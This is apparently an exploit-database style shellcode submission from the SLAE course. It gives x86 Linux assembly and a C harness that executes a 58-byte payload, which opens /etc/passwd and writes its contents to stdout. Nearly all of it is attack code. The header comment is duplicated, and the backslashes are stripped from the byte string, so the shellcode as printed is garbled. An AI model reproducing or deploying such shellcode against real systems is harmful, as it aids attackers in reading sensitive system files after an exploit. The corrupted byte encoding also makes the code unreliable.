/*
; Title : Linux/x86 - Read /etc/passwd Shellcode (58 bytes)
; Date : Jan, 2018
; Author : Joao Batista
; SLAE ID : SLAE-1420
; Size : 58 bytes
; /*
; Title : Linux/x86 - Read /etc/passwd Shellcode (58 bytes)
; Date : Jan, 2018
; Author : Joao Batista
; SLAE ID : SLAE-1420
; Size : 58 bytes
; Tested on : i686 GNU/Linux

global _start

section .text

_start:
xor ecx,ecx
mul ecx
jmp short two
one:
pop ebx
mov al,0x5
int 0x80
xchg esi,eax
jmp short read
exit:
mov al,byte 0x1
int 0x80
read:
mov ebx,esi
mov al, 0x3
mov ecx, esp
mov dl,0x1
int 0x80

xor ebx,ebx
cmp eax,ebx
je exit

add al,0x3
mov bl,dl
int 0x80

jmp short read
two:
call one
string: db "/etc/passwd"
*/
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] =
"x31xc9xf7xe1xebx24x5bxb0x05xcdx80x96xebx04xb0x01xcdx80x89xf3xb0x03x89xe1xb2x01xcdx80x31xdbx39xd8x74xecx04x03x88xd3xcdx80xebxe8xe8xd7xffxffxffx2fx65x74x63x2fx70x61x73x73x77x64";

main()
{
printf("shellcode length: %d ", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}